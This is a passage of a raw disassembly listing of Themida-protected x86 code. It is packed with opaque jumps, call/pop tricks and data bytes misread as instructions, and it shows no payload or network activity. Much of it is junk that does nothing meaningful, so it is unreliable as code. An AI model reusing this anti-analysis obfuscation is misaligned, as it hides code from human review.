loc_60EBB8:				; CODE XREF: Themida_:0060EBA2j
		jnz	loc_60EBC1
		movzx	eax, dx


loc_60EBC1:				; CODE XREF: Themida_:loc_60EBB8j
		push	eax
		push	edi
		and	ecx, 58C5EF32h
		pop	eax
		pop	ebx
		push	edx
		jns	near ptr loc_60EBE4+2
		call	near ptr loc_60EBE4+1
		mov	cl, 5Dh
		in	eax, dx
		fdivr	dword ptr [edx]
		movsb
		xor	eax, 1C3207A2h
		xchg	eax, ecx
		cmpsb


loc_60EBE4:				; CODE XREF: Themida_:0060EBD2p
					; Themida_:0060EBCCj
		jmp	near ptr 60B84741h
; ---------------------------------------------------------------------------
		mov	edi, ebx
		popa
		pop	ecx
		jmp	loc_60EBF8
; ---------------------------------------------------------------------------
		sal	bh, 5
		and	[ecx], edi
		xchg	eax, edi


loc_60EBF8:				; CODE XREF: Themida_:0060EBEDj
		jmp	loc_60EC0C
; ---------------------------------------------------------------------------
		db 71h,	0A7h, 9Dh
		dd 898CE7ABh, 77C18D2Bh, 0F8AA31FFh
; ---------------------------------------------------------------------------


loc_60EC0C:				; CODE XREF: Themida_:loc_60EBF8j
		jns	loc_60EC15
		mov	si, bx


loc_60EC15:				; CODE XREF: Themida_:loc_60EC0Cj
		mov	ebx, 56D939A3h
		jmp	loc_60EC28
; ---------------------------------------------------------------------------
		db 0F4h
		dd 3B2ADB5Ch, 5A1B72AFh
; ---------------------------------------------------------------------------


loc_60EC28:				; CODE XREF: Themida_:0060EC1Aj
		mov	cx, 95Ch
		js	loc_60EC49
		jmp	loc_60EC49
; ---------------------------------------------------------------------------
		db 0B2h
; ---------------------------------------------------------------------------
		push	8EBBECACh
		adc	al, 61h
		mov	ds:0EB00DF54h, eax
		inc	ecx
		adc	al, 0D2h
		std
		push	cs


loc_60EC49:				; CODE XREF: Themida_:0060EC2Cj
					; Themida_:0060EC32j
		movsx	edi, ax
		sub	cl, 16h
		mov	ebx, edx
		jmp	loc_60EC5B
; ---------------------------------------------------------------------------
		dw 31C8h
		db 3Dh,	0A0h, 67h
; ---------------------------------------------------------------------------


loc_60EC5B:				; CODE XREF: Themida_:0060EC51j
		adc	cx, 0DD7Dh
		xor	esi, 6352A94h
		mov	edx, 2D33AD43h
		push	edx
		jnp	loc_60EC78
		sub	edx, 6C36E85Ah


loc_60EC78:				; CODE XREF: Themida_:0060EC6Cj
		pop	edx
		call	sub_60EC8D
		setalc
		push	edx
		dec	ecx
		enter	0FFFF9EB0h, 0E5h
		js	short near ptr sub_60ECE3+3
		jbe	short loc_60EC93
		add	al, 7
		mov	ah, 0CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_60EC8D	proc near		; CODE XREF: Themida_:0060EC79p
		jmp	sub_60EC9B
sub_60EC8D	endp

; ---------------------------------------------------------------------------
		db 63h
; ---------------------------------------------------------------------------


loc_60EC93:				; CODE XREF: Themida_:0060EC87j
		add	[edi-3Ch], cl
		jmp	dword ptr [ecx+ebp*8]
; ---------------------------------------------------------------------------
		cmp	al, bh

; =============== S U B	R O U T	I N E =======================================



sub_60EC9B	proc near		; CODE XREF: sub_60EC8Dj
		pop	eax
		movsx	ecx, dx
		mov	ah, 96h
		mov	eax, esi
		add	edi, 1A4F78B9h
		stc
		jl	loc_60ECB4
		mov	si, 9669h


loc_60ECB4:				; CODE XREF: sub_60EC9B+Fj
		xor	dl, 0C2h
		sub	ah, 0ABh
		jl	loc_60ECC6
		and	edi, 456AD5B7h	; CODE XREF: sub_60ECE3+21j


loc_60ECC6:				; CODE XREF: sub_60EC9B+1Fj
		mov	edx, 24F93A38h
		mov	di, 0DC60h
		call	sub_60ECE3
		mov	bl, 0A9h
		xor	al, 0A9h
		mul	dword ptr [eax+edx*8+2F507CB6h]
		sub	dl, 58h
		into
sub_60EC9B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60ECE3	proc near		; CODE XREF: sub_60EC9B+34p
					; Themida_:0060EC85j
		jnz	loc_60ECEC
		mov	di, dx


loc_60ECEC:				; CODE XREF: sub_60ECE3j
		pop	edx
		push	ebx
		mov	di, ax
		pop	ebx


loc_60ECF2:				; CODE XREF: sub_60ECE3+1Aj
		jz	loc_60ED09
		call	sub_60ED07
		ja	short loc_60ECF2
		in	eax, dx
		push	ds
		dec	edx
		aam	76h
		loope	near ptr loc_60ECC0+5
		inc	ebx
sub_60ECE3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60ED07	proc near		; CODE XREF: sub_60ECE3+15p
		stc
		pop	edi


loc_60ED09:				; CODE XREF: sub_60ECE3:loc_60ECF2j
		adc	si, 7909h
		pusha
		mov	bl, 74h
		mov	cl, bl
		popa
		mov	bl, 0B8h
		sbb	di, 0F643h
		mov	bh, al
		call	sub_60ED27
		mov	esp, 0ACB3AFE2h
sub_60ED07	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_60ED27	proc near		; CODE XREF: sub_60ED07+16p
		jmp	sub_60ED31
sub_60ED27	endp

; ---------------------------------------------------------------------------
		dd 342DD352h
		db 0Dh

; =============== S U B	R O U T	I N E =======================================



sub_60ED31	proc near		; CODE XREF: sub_60ED27j
		pop	edi
		jmp	loc_60ED44
; ---------------------------------------------------------------------------
		db 0CDh
; ---------------------------------------------------------------------------
		sbb	esi, esp
		dec	eax
		xchg	eax, esp
		test	[ecx], edx
		and	edx, [esi-790B895Fh]


loc_60ED44:				; CODE XREF: sub_60ED31+1j
		push	ecx
		jnb	loc_60ED51
		and	edx, 62F7D753h


loc_60ED51:				; CODE XREF: sub_60ED31+14j
		pop	edx
		jz	loc_60ED60
		jno	loc_60ED60
		mov	edx, ecx


loc_60ED60:				; CODE XREF: sub_60ED31+21j
					; sub_60ED31+27j
		mov	bh, 0F1h
		mov	cx, 0F7A4h
		stc
		mov	cx, 0DE01h
		clc
		jnp	loc_60ED75
		mov	di, bx


loc_60ED75:				; CODE XREF: sub_60ED31+3Bj
		push	ecx
		jbe	loc_60ED81
		sub	si, 0F67Ch


loc_60ED81:				; CODE XREF: sub_60ED31+45j
		pop	edi
		mov	dh, 0DEh
		call	loc_60ED99
		push	cs
		out	67h, al
		adc	cl, bl
		xchg	eax, esi
		iret
sub_60ED31	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 2BF9AA8h, 46250677h
		db 2
; ---------------------------------------------------------------------------


loc_60ED99:				; CODE XREF: sub_60ED31+53p
		mov	di, ax
		pop	edx
		jbe	loc_60EDBF
		call	loc_60EDB9
		xchg	eax, esi
		in	al, 58h
		clc
		mov	al, ds:8C175B06h
; ---------------------------------------------------------------------------
		dw 8AD9h
		dd 0FBE3C72Ch
		db 1Ch
; ---------------------------------------------------------------------------


loc_60EDB9:				; CODE XREF: Themida_:0060EDA3p
		mov	ecx, 69AF714Ah
		pop	esi


loc_60EDBF:				; CODE XREF: Themida_:0060ED9Dj
		and	dl, 28h
		jl	loc_60EDCB
		add	bh, 58h


loc_60EDCB:				; CODE XREF: Themida_:0060EDC2j
		stc
		jle	loc_60EDEA
		jmp	loc_60EDEA
; ---------------------------------------------------------------------------
		push	ds
		movsd
		push	eax
		sahf
		add	eax, 302644D2h
		pop	edx
		lahf
		adc	ds:0D6D46A0Dh, esi
		test	bh, ch


loc_60EDEA:				; CODE XREF: Themida_:0060EDCCj
					; Themida_:0060EDD2j
		mov	esi, edi
		mov	di, 9FA7h
		sub	bx, 4CCBh
		stc
		push	edi
		movzx	ecx, dx
		pop	eax
		sbb	cl, 0CAh
		sub	bl, 0C2h
		mov	di, 0EAE0h
		jmp	loc_60EE13
; ---------------------------------------------------------------------------
		and	eax, 0D16931BCh
		adc	ah, [edx-1Ah]
		retn
; ---------------------------------------------------------------------------


loc_60EE13:				; CODE XREF: Themida_:0060EE05j
		adc	ch, 0C2h
		mov	eax, ebx
		jno	loc_60EE27
		jb	loc_60EE27
		mov	ax, dx


loc_60EE27:				; CODE XREF: Themida_:0060EE18j
					; Themida_:0060EE1Ej
		mov	ecx, ebx
		jnb	$+6
		pusha
		mov	bh, ah
		jb	loc_60EE3C
		mov	si, 0E0E3h


loc_60EE3C:				; CODE XREF: Themida_:0060EE32j
		popa
		mov	bl, 0D5h
		cld
		pusha
		jmp	loc_60EE53
; ---------------------------------------------------------------------------
		dw 0E6DAh
		dd 0C4FE940Bh, 2BE909FCh
		db 0ADh, 0Eh, 0E0h
; ---------------------------------------------------------------------------


loc_60EE53:				; CODE XREF: Themida_:0060EE41j
		jmp	loc_60EE64
; ---------------------------------------------------------------------------
		dd 37D8A028h, 394C7057h, 3C51AD54h
; ---------------------------------------------------------------------------


loc_60EE64:				; CODE XREF: Themida_:loc_60EE53j
		popa
		mov	bx, 0E36Fh
		mov	esi, 53F1FF92h
		call	sub_60EE7B
		aad	45h
		das
		out	dx, eax
; ---------------------------------------------------------------------------
		db 0FFh
		db 79h,	0EEh, 0CDh

; =============== S U B	R O U T	I N E =======================================



sub_60EE7B	proc near		; CODE XREF: Themida_:0060EE6Ep
		or	edx, 40EA8403h
		pop	esi
		mov	bx, cx
		pusha
		cmc
		adc	eax, 28D69FCDh
		popa
		jp	loc_60EEB0
		jle	loc_60EEB0
		jmp	loc_60EEB0
; ---------------------------------------------------------------------------
		db 4Eh
		dd 5D826738h, 76E6EFE0h, 0CFC1993h, 9392ABC2h
; ---------------------------------------------------------------------------


loc_60EEB0:				; CODE XREF: sub_60EE7B+13j
					; sub_60EE7B+19j ...
		movzx	edx, si
		jmp	loc_60EEBF
; ---------------------------------------------------------------------------
		dd 0B9931663h
		db 32h,	2Eh, 8Ah
; ---------------------------------------------------------------------------


loc_60EEBF:				; CODE XREF: sub_60EE7B+38j
		pusha
		mov	ax, 0BFE4h
		jp	loc_60EECC
		mov	bh, 0C3h


loc_60EECC:				; CODE XREF: sub_60EE7B+49j
		popa
		pusha
		and	ah, 7Ch
		and	edi, 7D7D4C82h
		popa
		movzx	eax, dx
		jmp	loc_60EEF2
; ---------------------------------------------------------------------------
		dd 0C4CC5B25h, 59B2641Ah, 78477916h, 0EA02B811h
; ---------------------------------------------------------------------------
		inc	edx
		wait


loc_60EEF2:				; CODE XREF: sub_60EE7B+60j
		push	ecx
		pusha
		pusha
		popa
		mov	esi, 6EB545FAh
		popa
		pop	eax
		sub	bx, 1D1h
		mov	dx, si
		jmp	loc_60EF12
; ---------------------------------------------------------------------------
		jb	short loc_60EF63
		lds	ebx, [ebx+40921B5h]


loc_60EF12:				; CODE XREF: sub_60EE7B+8Aj
		mov	dl, 0Bh
		push	esi
		jmp	loc_60EF22
; ---------------------------------------------------------------------------
		dw 0C03h
		dd 6DC96EBBh
		db 0DBh, 65h
; ---------------------------------------------------------------------------


loc_60EF22:				; CODE XREF: sub_60EE7B+9Aj
		pop	eax
		call	sub_60EF2F
		wait
		cmp	[edx-72B5BE37h], ch
sub_60EE7B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60EF2F	proc near		; CODE XREF: sub_60EE7B+A8p
		mov	dx, 0E408h
		pop	esi
		jbe	loc_60EF5A
		pusha
		jmp	loc_60EF53
; ---------------------------------------------------------------------------
		dd 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh
		db 4Dh,	77h, 9Bh
; ---------------------------------------------------------------------------


loc_60EF53:				; CODE XREF: sub_60EF2F+Cj
		jz	$+6
		popa


loc_60EF5A:				; CODE XREF: sub_60EF2F+5j
		call	near ptr loc_60EF63+1
		add	dl, dl
		mov	edx, [ecx]


loc_60EF63:				; CODE XREF: sub_60EE7B+8Fj
					; sub_60EF2F:loc_60EF5Ap
		mov	[edi], ecx
sub_60EF2F	endp ; sp-analysis failed

		mov	edi, 25B65FF8h
		mov	si, di
		jle	loc_60EF8D
		call	sub_60EF89
		xchg	eax, edx
; ---------------------------------------------------------------------------
		db 0FEh, 3Ah, 8Ah
		dd 0F2FD2E4Fh, 74501B60h, 0A15D9DB9h
		db 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_60EF89	proc near		; CODE XREF: Themida_:0060EF73p
		xor	bh, 68h
		pop	esi


loc_60EF8D:				; CODE XREF: Themida_:0060EF6Dj
		stc
		sub	edi, 3FE9438h
		jmp	loc_60EFAC
; ---------------------------------------------------------------------------
		db 0EEh, 84h, 0D5h
		dd 0BD181080h, 39CD7813h, 67A3BA6Bh, 6BAB2107h
; ---------------------------------------------------------------------------


loc_60EFAC:				; CODE XREF: sub_60EF89+Bj
		add	dh, 2Fh
		jmp	loc_60EFBE
; ---------------------------------------------------------------------------
		dd 234BFCBEh, 7FF60C50h
		db 0A9h, 18h
; ---------------------------------------------------------------------------


loc_60EFBE:				; CODE XREF: sub_60EF89+26j
		mov	bx, si
		jmp	loc_60EFD1
; ---------------------------------------------------------------------------
		dw 61D3h
		dd 5C901BA0h, 5370A497h
		db 0BAh
; ---------------------------------------------------------------------------


loc_60EFD1:				; CODE XREF: sub_60EF89+38j
		mov	esi, 7A2D582Fh
		jle	loc_60EFE1
		add	si, 3CCFh


loc_60EFE1:				; CODE XREF: sub_60EF89+4Dj
		mov	si, 0C4BBh
		jp	loc_60EFEF
		mov	dx, 0C8CAh


loc_60EFEF:				; CODE XREF: sub_60EF89+5Cj
		stc
		call	near ptr sub_60F007
		iret
sub_60EF89	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sbb	[eax+3Eh], esi
		retn	0AAF5h
; ---------------------------------------------------------------------------
		dd 70F6A704h, 64287B95h
		db 0C8h, 45h, 0A4h

; =============== S U B	R O U T	I N E =======================================



sub_60F007	proc far		; CODE XREF: sub_60EF89+67p
		mov	ecx, edx
		pop	ebx
		and	eax, 55100482h
		mov	eax, 40E5B9F8h
		clc
		sub	dl, 9Dh
		jb	loc_60F02D
		jmp	loc_60F02D
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D8h, 0F8h, 0Ah
		dd 881DDDF6h
		db 6Dh
; ---------------------------------------------------------------------------


loc_60F02D:				; CODE XREF: sub_60F007+12j
					; sub_60F007+18j
		or	bx, 0E301h
		jmp	loc_60F049
; ---------------------------------------------------------------------------
		db 9Fh
		dd 0AEC1328Ah, 0D25BA30Eh, 0A6B58ECAh, 64CDE575h
; ---------------------------------------------------------------------------
		pop	ds


loc_60F049:				; CODE XREF: sub_60F007+2Bj
		sbb	cl, 53h
		clc
		call	sub_60F05A
		mov	bh, 9
		retn	9A06h
sub_60F007	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2Dh
; ---------------------------------------------------------------------------
		aad	3Fh

; =============== S U B	R O U T	I N E =======================================



sub_60F05A	proc near		; CODE XREF: sub_60F007+46p
		mov	ebx, eax
		pop	edx
		jmp	loc_60F06D
; ---------------------------------------------------------------------------
		dw 0C103h
		dd 0AFC6F8Dh, 2129C9C2h
		db 35h
; ---------------------------------------------------------------------------


loc_60F06D:				; CODE XREF: sub_60F05A+3j
		and	bx, 0DCADh
		push	edx
		mov	bx, 4D13h
		pop	edx
		mov	al, 77h
		mov	dx, 0AEE8h
		push	eax
		mov	di, 3F7h
		pop	ecx
		jl	loc_60F08B
		stc


loc_60F08B:				; CODE XREF: sub_60F05A+2Aj
		call	sub_60F09F
		les	ebx, [eax+6AD4CE73h]
		push	ebp
		add	eax, 1731A2C7h
		adc	bh, [eax+32h]
sub_60F05A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_60F09F	proc near		; CODE XREF: sub_60F05A:loc_60F08Bp
		or	dx, 34E6h
		pop	edx
		or	si, 3E7Ch
		mov	al, 0E5h
		movzx	edi, ax
		mov	ebx, edx
		jmp	loc_60F0C0
; ---------------------------------------------------------------------------
		cdq
		dec	eax
		push	ecx
		xor	[ebx+eax*2-3Ch], esp
		and	ebx, [ebx+52h]


loc_60F0C0:				; CODE XREF: sub_60F09F+12j
		mov	ah, 37h
		call	sub_60F0CF
		fistp	word ptr [ecx+690D7A12h]
		in	eax, 89h	; DMA page register 74LS612:
sub_60F09F	endp ; sp-analysis failed ; Channel 6 (address bits 17-23)


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_60F0CF	proc near		; CODE XREF: sub_60F09F+23p
		jmp	sub_60F0E2
sub_60F0CF	endp

; ---------------------------------------------------------------------------
		dd 1959FF0Fh, 67785D0Ah, 0F7D77642h
; ---------------------------------------------------------------------------
		xchg	eax, edx
		inc	edi

; =============== S U B	R O U T	I N E =======================================



sub_60F0E2	proc near		; CODE XREF: sub_60F0CFj
		pop	ebx
		add	ah, 3Dh
		mov	dx, bx
		mov	dx, 7F19h
		call	near ptr loc_60F0F7+5
		js	short near ptr loc_60F132+1
		add	dh, bh
		push	edi


loc_60F0F7:				; CODE XREF: sub_60F0E2+Bp
		xor	ds:5A26D940h, ah
sub_60F0E2	endp ; sp-analysis failed

		jmp	loc_60F108
; ---------------------------------------------------------------------------
		and	[ebp-23h], ebx
		xor	cl, [edx-30h]


loc_60F108:				; CODE XREF: Themida_:0060F0FDj
		movzx	esi, si
		mov	ecx, eax
		mov	edi, ecx
		mov	cl, 3Ch
		jb	loc_60F11A
		movzx	eax, ax


loc_60F11A:				; CODE XREF: Themida_:0060F111j
		movzx	edx, cx
		or	dh, 0Dh
		jmp	loc_60F12E
; ---------------------------------------------------------------------------
		lodsb
		cmp	ds:119882D8h, ah
		pop	eax
		pop	ds


loc_60F12E:				; CODE XREF: Themida_:0060F120j
		mov	bx, 406Eh


loc_60F132:				; CODE XREF: sub_60F0E2+10j
		jl	loc_60F139
		stc


loc_60F139:				; CODE XREF: Themida_:loc_60F132j
		push	ebx
		mov	edi, esi
		pop	esi
		movsx	esi, ax
		ja	$+6
		adc	si, 0A1FEh
		cld
		xor	bx, 0B4C2h
		cmc
		jmp	loc_60F15F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_60F196


loc_60F157:				; CODE XREF: sub_60F196+Dj
		hlt
; END OF FUNCTION CHUNK	FOR sub_60F196
; ---------------------------------------------------------------------------
		sub	eax, 0D511BFBFh
		mov	esp, edx


loc_60F15F:				; CODE XREF: Themida_:0060F152j
		mov	dx, 0A1BDh
		and	ax, 5BB0h
		jmp	loc_60F181
; ---------------------------------------------------------------------------
		test	dl, ah
		sbb	[ecx+75h], dh
		push	esi
		xor	al, 0FCh
		sbb	[edi+11DDA27Bh], edx
		imul	edx, [edx], 64h
		sub	ch, [esi+4Ah]


loc_60F181:				; CODE XREF: Themida_:0060F168j
		sbb	bx, 0D56Ch
		call	sub_60F196
		imul	ecx, [eax], 7C0449E6h ;	CODE XREF: Themida_:0060F194j
		sahf
		cdq
		inc	ebx
		jmp	short near ptr loc_60F18B+5

; =============== S U B	R O U T	I N E =======================================



sub_60F196	proc near		; CODE XREF: Themida_:0060F186p

; FUNCTION CHUNK AT 0060F157 SIZE 00000001 BYTES

		mov	edi, esi
		pop	eax
		call	near ptr loc_60F1AC+2
		lds	eax, [edi]
		scasd
		push	cs
		xchg	eax, edx
		js	short loc_60F157
		add	eax, 544DECBEh
		rcl	edi, 1


loc_60F1AC:				; CODE XREF: sub_60F196+3p
		call	near ptr 4E4FAA1Bh
sub_60F196	endp ; sp-analysis failed

		push	eax
		cmp	[ecx-7Fh], bl
		sar	dword ptr [edx-6F06FA9h], 66h
		mov	esi, 0BF0F0E69h
		iret
; ---------------------------------------------------------------------------
		dw 8166h
		dd 0FC1FDDDAh, 0AFA2B866h, 1F24CDB9h, 0DA8B6664h, 8160D9B0h
		dd 4C7D54DAh, 0A8D6BF6Eh, 0E861699Ah, 0Eh, 86E03E1Eh, 0B304C6FEh
		dd 8EBADCD3h, 0BA665E25h, 815EE751h, 3635E1F6h,	0BF0F5149h
		dd 63BF5BD7h, 810B6FFDh, 10D6CAC7h, 0CE81667Eh,	0A2B69DB9h
		dd 5FE9B357h, 13E9h, 9D6E0700h,	0B0D6686Ch, 2C98B75Ch
		dd 0DDF5872Dh, 1E05529Ah, 0BF0FCB8Bh, 9E9F3h, 3B320000h
		dd 6BD222D7h, 0F38A3E5h, 284h, 0E9DC8A00h, 9, 88A170A2h
		dd 0A5BC99E1h, 8C0FF986h, 10h, 8E8h, 0B1BB1500h, 0D50D2E9Fh
		dd 5E5F529Fh, 0BA66CEB5h, 0BF0F308Ch, 6E9F6h, 0BF300000h
		dd 99CF0D58h, 7CA66BBEh, 8166606Dh, 8142A5E1h, 1EFC78CBh
		dd 7E96118h, 14000000h,	28764B5h, 0D18BFB6Fh, 88CF8166h
		dd 0CE993h, 32220000h, 34B5E429h, 198CD795h, 16BA86C7h
		dd 0E81ABB1Eh, 5, 0B87F7F1Ch, 0C08166F0h, 815F79F9h, 0CE3B6BE6h
		dd 0D38B662Eh, 0FFBBF0Fh, 0BE9F7B7h, 2C000000h,	0E68870F3h
		dd 0D2B3D5C9h, 9E9F932h, 0B9000000h, 949DA60Dh,	22F9C858h
		dd 0B2CE8B66h, 11840FCCh, 0E9000000h, 0Ch, 4A1EEDF3h, 0BFE176D4h
		dd 0A397B143h, 0DE8h, 0C429D200h, 1D4C94A1h, 0FB3214E1h
		dd 0DF815EADh, 7BE12C04h, 7EE1805Bh, 7E8h, 3604A00h, 0BBD3208Bh
		dd 462AF181h, 0E95F630Dh, 6, 34269065h,	8F0F9A0Ch, 5, 0C1DF8166h
		dd 0F1816605h, 0DE9C146h, 0D1000000h, 0DD7E1DE3h, 0C5293515h
		dd 33086C3Dh, 0CE8h, 584EDC00h,	297CA5B2h, 7D92055Eh, 0C6BF0F3Ch
		dd 76DE815Ah, 664551DDh, 8E88F281h, 0FE8h, 61B60F00h, 99ECAA2Dh
		dd 0D5A8F051h, 37A2C50Ch, 0BE5FC28Bh, 29E9E259h, 0F8F5C88Bh
		dd 0B81AC680h, 668FD38Ah, 0BBF8DF8Bh, 6C6B82FAh, 92B45A53h
		dd 890FFB8Bh, 0
; ---------------------------------------------------------------------------
		sbb	eax, 239012F1h
		mov	ah, 0F4h
		jmp	loc_60F3EA
; ---------------------------------------------------------------------------
		db 59h,	50h, 22h
; ---------------------------------------------------------------------------
		test	[edi-762A806Eh], ebx


loc_60F3EA:				; CODE XREF: Themida_:0060F3DCj
		mov	edx, esi
		cmc
		mov	bx, si
		jmp	loc_60F407
; ---------------------------------------------------------------------------
		db 7, 97h, 0A9h
		dd 7A6A53A0h, 0D01A9835h, 0DC9A5FECh
		db 0B3h, 4Bh, 8
; ---------------------------------------------------------------------------


loc_60F407:				; CODE XREF: Themida_:0060F3F0j
		mov	ecx, edx


loc_60F409:				; CODE XREF: Themida_:0060F47Fj
		adc	bx, 97CAh
		jg	loc_60F41C
		jb	loc_60F41C
		push	esi
		pop	esi


loc_60F41C:				; CODE XREF: Themida_:0060F40Ej
					; Themida_:0060F414j
		sub	ebx, 4A8499A3h
		movsx	eax, ax
		movzx	ebx, si
		push	eax
		sbb	ch, 3Bh
		pop	edi
		movsx	ebx, bx
		call	near ptr loc_60F435+6


loc_60F435:				; CODE XREF: Themida_:0060F430p
		imul	eax, [edx+0A64F239h], 5Eh
		jo	loc_60F445
		mov	ax, cx


loc_60F445:				; CODE XREF: Themida_:0060F43Cj
		jmp	loc_60F45D
; ---------------------------------------------------------------------------
		dw 0F7B4h
		dd 8E6C7B49h, 47B4AE07h, 0C0E4BECDh, 0A24E86B0h
		db 0B2h
; ---------------------------------------------------------------------------


loc_60F45D:				; CODE XREF: Themida_:loc_60F445j
		jmp	loc_60F467
; ---------------------------------------------------------------------------
		mov	bh, 4Ch
		setalc
		dec	esp
		cmpsd


loc_60F467:				; CODE XREF: Themida_:loc_60F45Dj
		jmp	loc_60F476
; ---------------------------------------------------------------------------
		dd 0EC4E88E8h, 0BC0D1FBDh
		db 0D9h, 9Ah
; ---------------------------------------------------------------------------


loc_60F476:				; CODE XREF: Themida_:loc_60F467j
		movsx	eax, si
		jmp	loc_60F484
; ---------------------------------------------------------------------------
		pusha
		loopne	loc_60F409
		test	bl, 0Fh


loc_60F484:				; CODE XREF: Themida_:0060F479j
		stc
		mov	cx, dx
		mov	edx, edi
		sbb	bl, 78h
		or	cx, 206Dh
		pusha
		push	esi
		mov	di, 0A0E6h
		pop	ecx
		push	esi
		mov	bl, 0CAh
		pop	ebx
		popa
		sub	bl, 97h
		adc	bx, 57A2h
		pusha
		mov	esi, ebx
		sbb	esi, 746AC72Ch
		popa
		pusha
		mov	eax, 0AADA43h
		popa
		jle	loc_60F4D1
		jmp	loc_60F4D1
; ---------------------------------------------------------------------------
		dw 7356h
		db 0CCh
		db 7Ch,	86h, 52h
		dd 5D5C7659h, 0F4FE446Ah
		db 8Eh
; ---------------------------------------------------------------------------


loc_60F4D1:				; CODE XREF: Themida_:0060F4B7j
					; Themida_:0060F4BDj
		mov	bx, cx
		push	esi
		pusha
		mov	eax, 6240F4Ah
		sub	eax, 4D3967C2h
		popa
		pop	edx
		call	near ptr loc_60F4EE+2
		cld
		push	cs
		and	[esp+ecx-2Eh], ebp


loc_60F4EE:				; CODE XREF: Themida_:0060F4E3p
		and	eax, 10E9AAh
; ---------------------------------------------------------------------------
		db 0
		dd 235D9700h, 0B61EC182h, 22966262h, 63D26A1Bh,	0B75658A6h
		dd 8E95A43h, 4C000000h,	3B14F8A2h, 0F7BCAE1h, 8Fh, 3890F00h
		dd 0F000000h, 850FD1BFh, 5, 0D1E68166h,	12E889h, 9B630000h
		dd 238AE67Bh, 35B99C41h, 0E5A2B325h, 3AEE7C74h,	331ABE66h
		dd 80E3B35Fh, 9E9F4C3h,	66000000h, 57C7203Fh, 40701B40h
		dd 13E8h, 83F2DE00h, 1CABB452h,	0FC8E73D8h, 2307493Bh
		dd 0AAA640ECh, 0C8F0Fh,	7E90000h, 9F000000h, 4B727FF9h
		dd 0B95E6889h, 6D95BC0Bh, 0EE9h, 0DCA04C00h, 9130C3F1h
		dd 73A4F8D2h, 60E1089Ah, 870F60h, 52000000h, 8B0F615Fh
		dd 12h,	0CE8h, 0D7ECD00h, 3CE71B25h, 9E8AE308h,	0F61595Fh
		dd 168Bh, 11E900h, 1AB10000h, 64826CCFh, 86CADAh, 3610FE48h
		dd 0E94E526Dh, 10h, 7C4AB636h, 2F93EC64h, 3764654Dh, 13836943h
		dd 66FB8B66h, 10E9C28Bh, 0A0000000h, 0BF7080F5h, 793A498h
		dd 72424B9Dh, 8B9ABA10h, 20BE66F2h, 5E89Fh, 0E8100000h
		dd 60DA75EDh, 58616160h, 14E8h,	0BC5CC700h, 0B7EA599Eh
		dd 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 0CE905h, 177E0000h
		dd 72591679h, 0B6D1C595h, 0F5E1E43h, 0F58AD8B7h, 78D88166h
		dd 0B70FF94Fh, 3800FCEh, 80000000h, 0BA6617E0h,	0BE667345h
		dd 0F18BA36Ah, 0DE9F8h,	0C0E00000h, 513411DCh, 89F59B05h
		dd 8154BAE2h, 0F80B55E7h, 0F2816029h, 3E1F4883h, 0C2D5B966h
		dd 0B70F6061h, 5E8F7h, 0F23E0000h, 0F7DE923h, 615ACFBFh
		dd 2830Fh, 38B30000h, 0AE9h, 60BCBE00h,	0A78ECC45h, 606E4890h
		dd 0CE953h, 21FF0000h, 2E0C2833h, 64E8813Ch, 8B5A2A88h
		dd 0AE861FEh, 0C0000000h, 2BD81EBh, 0D5602C7Dh,	0C28B6614h
		dd 8DC0815Ah, 0BB434D91h, 64F8B963h, 0FC28B66h,	81h, 880F6000h
		dd 2, 34B368B0h, 0DA8B6661h, 15810Fh, 10E90000h, 48000000h
		dd 30EB0133h, 0EF95BCE9h, 0E27FE905h, 66D36B60h, 0BF0FDF8Bh
		dd 981EBBFEh, 0CB8B7838h, 8E8h,	65698D00h, 52FFC2D8h, 840F53B8h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	edx
		jmp	loc_60F758
; ---------------------------------------------------------------------------
		db 0CDh
		dd 0F6A0E641h
; ---------------------------------------------------------------------------


loc_60F758:				; CODE XREF: Themida_:0060F74Ej
		jmp	loc_60F76A
; ---------------------------------------------------------------------------
		db 0A4h, 73h, 9Ah
; ---------------------------------------------------------------------------
		or	cl, ah
		sbb	edx, eax
		jbe	short loc_60F7BD
		sub	[edi+62h], edx
		stc


loc_60F76A:				; CODE XREF: Themida_:loc_60F758j
		call	near ptr loc_60F77B+3
		std
		xchg	dh, [ecx]
		mov	bl, 0Eh
		into
		mov	ds:0C4176339h, edx


loc_60F77B:				; CODE XREF: Themida_:loc_60F76Ap
		xchg	esp, [edx-7499A48Fh]
		retn	0BF0Fh
; ---------------------------------------------------------------------------
		icebp
		jmp	loc_60F79C
; ---------------------------------------------------------------------------
		xor	al, 0DDh
		retn
; ---------------------------------------------------------------------------
		cld
		push	ds
		dec	ebx
		aad	4Dh
		and	esi, [edx+32717F0Eh]
		setalc
		fidiv	dword ptr [eax+eax]


loc_60F79C:				; CODE XREF: Themida_:0060F785j
		sbb	ecx, 5ECDC7A3h
		sub	esi, 6D85D05Fh
		call	near ptr loc_60F7B3+3
		ror	byte ptr ds:0CE7E1C51h,	cl


loc_60F7B3:				; CODE XREF: Themida_:0060F7A8p
		cmp	[esi+58B0F1Bh],	esi
; ---------------------------------------------------------------------------
		db 3 dup(0)
		db 0B9h
; ---------------------------------------------------------------------------


loc_60F7BD:				; CODE XREF: Themida_:0060F764j
		cmp	[eax], edx
		jl	short near ptr loc_60F7E8+1
		pop	esi
		mov	bx, 1852h
		call	sub_60F7DE
		mov	ch, [ebx+493D509Ah]
		rcr	dword ptr [ebx+24728E31h], 0B2h
		sbb	[ebp+5A324D2Ah], edi

; =============== S U B	R O U T	I N E =======================================



sub_60F7DE	proc near		; CODE XREF: Themida_:0060F7C6p
		mov	esi, edx
		pop	eax
		push	esi
		jz	loc_60F7EE


